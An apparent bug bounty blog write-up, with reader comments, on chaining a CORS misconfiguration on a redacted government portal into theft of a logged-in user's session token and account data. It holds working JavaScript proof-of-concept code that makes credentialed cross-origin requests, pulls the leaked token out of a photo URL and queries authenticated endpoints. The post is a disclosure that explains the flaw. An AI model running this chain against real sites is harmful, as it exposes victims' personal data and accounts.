How I Exploited a CORS Misconfiguration To a Full Account Takeover Chain

Web browsers enforce a rule called the Same-Origin Policy. The idea is that JavaScript running on `site-a.com` should not be able to read responses from `site-b.com`. This is what stops a malicious webpage from quietly reading your bank balance or email while you're browsing.


CORS (Cross-Origin Resource Sharing) is the mechanism that lets servers deliberately relax that rule for specific trusted origins. A server can say: "Scripts from `partner.com` are allowed to read my responses." It does this through HTTP response headers


```

Access-Control-Allow-Origin: https://partner.com

Access-Control-Allow-Credentials: true

```


When the browser sees those headers, it allows the cross-origin JavaScript to read the response.


The dangerous combination is - 


- A permissive or misconfigured `Access-Control-Allow-Origin` (trusting origins that shouldn't be trusted)

- `Access-Control-Allow-Credentials: true` (telling the browser to attach cookies on cross-origin requests)


If both are present together, an attacker's page can make authenticated requests on behalf of a logged-in victim and read the response from a completely different website.


The target was a government web portal used by registered professionals to manage applications, track dashboard activity, and access personal account information. The backend ran on ASP.NET and exposed its API through `.ashx` handler files.


The relevant endpoints were -


```

/portal/Modules/[redacted]/ashx/DashboardHandler.ashx

/portal/Modules/[redacted]/ashx/RegistrationHandler.ashx

/portal/Modules/[redacted]/ashx/CommonApplicationHandler.ashx

```


These endpoints returned authenticated user data ( full name, email address, account identifiers, login history, application status, and dashboard activity ).


HOW AUTHENTICATION WORK IN THIS PARTICULAR ASSET. 


The application used two layers working together - 


1. Session cookies - automatically sent by the browser when a user is logged in

2. A custom request header called `mytoken` - a unique identifier tied to the user's session.


A typical authenticated request looked like this -


```http

GET /portal/Modules/[redacted]/ashx/RegistrationHandler.ashx?req=GetSession HTTP/1.1

Host: [redacted.gov.sg]

Accept: application/json

mytoken: [REDACTED-TOKEN]

Cookie: ASP.NET_SessionId=[REDACTED]

```


Without the `mytoken` header, the server returned a `302` redirect to the authentication provider's login page.


---


DISCOVERY


While browsing the portal as a logged-in user, I intercepted API traffic through Burp Suite. One set of response headers immediately stood out - 


```

Access-Control-Allow-Origin: http://localhost:5500

Access-Control-Allow-Credentials: true

Access-Control-Allow-Methods: GET, POST, OPTIONS

```


Breaking down each header -


`Access-Control-Allow-Origin: http://localhost:5500`

The server explicitly trusts `localhost:5500` as an allowed cross-origin. This means any webpage served locally on that port can make requests to this government API and read the responses. 


`Access-Control-Allow-Credentials: true`

This tells the browser to include session cookies when making cross-origin requests to this server. Combined with the origin allowance above, a script running on `localhost:5500` can make fully authenticated requests, the browser will attach the victim's session cookies automatically.


---


TESTING PHASE


Test 1 — Basic Cross-Origin Fetch ( Failed )


The first attempt was a straightforward cross-origin fetch from a local page


```javascript

fetch("https://[redacted.gov.sg]/portal/.../RegistrationHandler.ashx?req=GetSession", {

    credentials: "include"

})

```


This failed. The server returned a `302` redirect to the login page. 

This is where many researchers would stop and mark the issue as unexploitable due to the token requirement.


Test 2 — Can a Custom Header Be Included Cross-Origin ?


CORS distinguishes between simple requests and non-simple requests. A custom header like `mytoken` makes a request non-simple, which means the browser first sends an OPTIONS preflight request to ask the server "Are you okay with cross-origin requests that include this custom header ?"


If the server's CORS policy rejected custom headers, the browser would block the request before it even left the client.


The preflight response came back permissive. The server allowed the custom header cross-origin.


Test 3 — Request with mytoken Header ( Success )


With preflight confirmed, a new request was built including a valid `mytoken` value observed from an authenticated browser session.


```javascript

fetch("https://[redacted.gov.sg]/portal/.../RegistrationHandler.ashx?req=GetSession", {

    method: "GET",

    credentials: "include",

    headers: {

        "Accept": "application/json",

        "mytoken": "[REDACTED-TOKEN]"

    }

})

```


The response came back `200 OK` with a full JSON payload:


```json

{

    "result": true,

    "data": {

        "userdetails": [

            {

                "recid": "[REDACTED-UUID]",

                "fullname": "[REDACTED-NAME]",

                "emailaddress": "[REDACTED-EMAIL]"

            }

        ]

    }

}

```


---


THE STATIC TOKEN ISSUE 


During testing, another issue was found. After logging out of the portal and logging back in, I checked the `mytoken` value.


It had not changed.


The same token was issued on every login. This means once an attacker obtains a victim's token, through phishing, shoulder surfing, network interception, a malicious browser extension, or any other means, the token remains valid indefinitely. There is no rotation on logout.


An attacker who collected a token months ago can still use it today.


ATTACK SETUP


To demonstrate exploitation from the allowed origin, a local web server was started using -


```bash

python -m http.server 5500

```


This serves pages at `http://localhost:5500`, which exactly matches the origin the server's CORS policy trusts. From the browser's perspective, a page served here is a legitimately trusted origin.


The conditions for the attack to work at this stage -


1. The victim is logged into the portal in their browser

2. The attacker is serving a page from `localhost:5500`

3. The attacker has the victim's `mytoken` value


---


FIRST REPORT AND TRIAGE RESPONSE


The vulnerability was reported to the appropriate bug bounty program under responsible disclosure.


The program's response:


> "As it stands, the PoC requires that the attacker knows the victim's token, or that the victim inputs their own token. Such scenario would require a certain amount of social engineering prior to exploiting the potential CORS issue, which would not be the result of a defect in the web application. Could you provide us with a PoC that demonstrates exfiltration of PII via the CORS misconfiguration without having to know the token?"


The report was closed as Informative.


---


SECOND DISCOVERY ( AN ENDPOINT THAT REQUIRES NO TOKEN )


A few days after the first report that got closed, I went back to the same asset and found a different endpoint - 


```

/portal/Modules/[redacted]/ashx/CommonApplicationHandler.ashx?req=GetLoginDetail

```


This endpoint returned PII without requiring the `mytoken` header at all.


```json

{

    "fullname": "james mhann",

    "lastlogin": "2/26/2026 8:58:45 PM",

    "photourl": ""

}

```


This directly addressed the triage team's condition. A new report was filed referencing the original, explaining that the `GetLoginDetail` endpoint exposed PII cross-origin with zero knowledge of the user's token.


POC ( WITH NO TOKEN REQUIRED )


```javascript

fetch(

    "https://[redacted.gov.sg]/portal/Modules/[redacted]/ashx/CommonApplicationHandler.ashx?req=GetLoginDetail",

    {

        method: "GET",

        credentials: "include",

        headers: { "Accept": "application/json" }

    }

)

.then(r => r.json())

.then(data => {

    console.log("Exfiltrated:", data);

    // In a real attack: send to attacker-controlled server

});

```


REPRODUCTION STEP


1. Log into `[redacted.gov.sg]` as a valid user and confirm an active authenticated session.

2. Host the PoC HTML file locally:

   ```bash

   python -m http.server 5500

   ```

3. In the same browser where you're logged in, navigate to:

   ```

   http://localhost:5500/cors.html

   ```

4. The page sends a cross-origin request with no `mytoken` header included. The browser attaches session cookies automatically. The response contains the victim's PII.


---


THE CHAIN - TOKEN LEAKAGE VIA PHOTOURL ( ATO ) 


While continuing to test after the second report, I looked more carefully at the `GetLoginDetail` response. The `photourl` field contained something unexpected -


```json

{

    "fullname": "victim info",

    "lastlogin": "3/4/2026 6:22:15 AM",

    "photourl": "...PEBHelperhandler.ashx?...&mytoken=27B7696C-EB03-4765-B3E9-20B214918069"

}

```


The `mytoken` is the same token that gates access to every other authenticated endpoint, was embedded inside the `photourl` parameter in plain text.


This collapsed the entire attack into a single, fully automated chain - 


Step 1: Use the CORS misconfiguration to fetch `GetLoginDetail`( no token required ) Extract the victim's `mytoken` from the `photourl` field.


Step 2: Use the extracted token to query every other authenticated endpoint - 

- `PEBDashboardhandler.ashx` — dashboard activity and task list

- `RegistrationHandler.ashx` — full account session data, email, name

- `PEBCourseOrganiserHandler.ashx` — course-related account data


Now, i do have full complete access to the victim's account data, full name, email address, account identifiers, login history, application status, documents, and dashboard contents. ( completely everything own by the victim ), without having to know the victim's myToken.

---


FULL EXPLOIT CHAIN ( POC CODE ) 


The PoC (`cors.html`) automates the full chain end to end -


```javascript

// Step 1 — Fetch GetLoginDetail cross-origin (no token required)

const step1 = await fetch(baseUrl + 'CommonApplicationHandler.ashx?req=GetLoginDetail', {

    method: 'GET',

    credentials: 'include',

    headers: { 'Accept': 'application/json' }

});

const profileData = await step1.json();


// Step 2 — Extract mytoken from photourl

const photoUrl = profileData?.photourl || '';

const tokenMatch = photoUrl.match(/mytoken=([A-Z0-9\-]+)/i);

const extractedToken = tokenMatch ? tokenMatch[1] : null;


// Step 3 — Use extracted token to hit authenticated endpoints

const endpoints = [

    'PEBDashboardhandler.ashx?req=mytasklist',

    'RegistrationHandler.ashx?req=GetSession',

    'PEBDashboardhandler.ashx?req=applications',

    'PEBCourseOrganiserHandler.ashx?req=list'

];


for (const ep of endpoints) {

    const response = await fetch(baseUrl + ep, {

        method: 'GET',

        credentials: 'include',

        headers: {

            'Accept': 'application/json',

            'mytoken': extractedToken

        }

    });

    const data = await response.json();

    // send data to attacker-controlled server

}

```


This research was conducted under responsible disclosure through the relevant bug bounty program. All findings were reported before publication.

Comments

  1. Hello 4osp3l, i would first like to sayi really loved reading this. Great methodology and a great writeup.

    I have a small yt channel where I recreate vulnerable instances of scenarios like this and exploit and fix it. So that new commers ee ⅔

    ReplyDelete
  2. Please ignore the previous comment 😄

    Hello 4osp3l, i would first like to say i really loved reading this. Great methodology and a great writeup🫡.

    I have a small yt channel(https://youtube.com/@bughuntblueprint) where I recreate vulnerable instances of scenarios like this, then exploit and fix it, after that I share it as a lab on GitHub. So that newcomers in this field could get to do hands on with high impact real bugs.

    Is it ok with you? If yes, then can we please connect on a platform to discuss any doubts that I might face while recreating it?

    ReplyDelete
  3. So you serve your script from localhost, how do you exploit the victim remotely?

    ReplyDelete
    Replies
    1. Yess i will host everything locally, create 2 different accounts (attacer & victim), and if any segregation of network is needed then I'll figure something out, probably I'll use vm or something.

      Delete

Post a Comment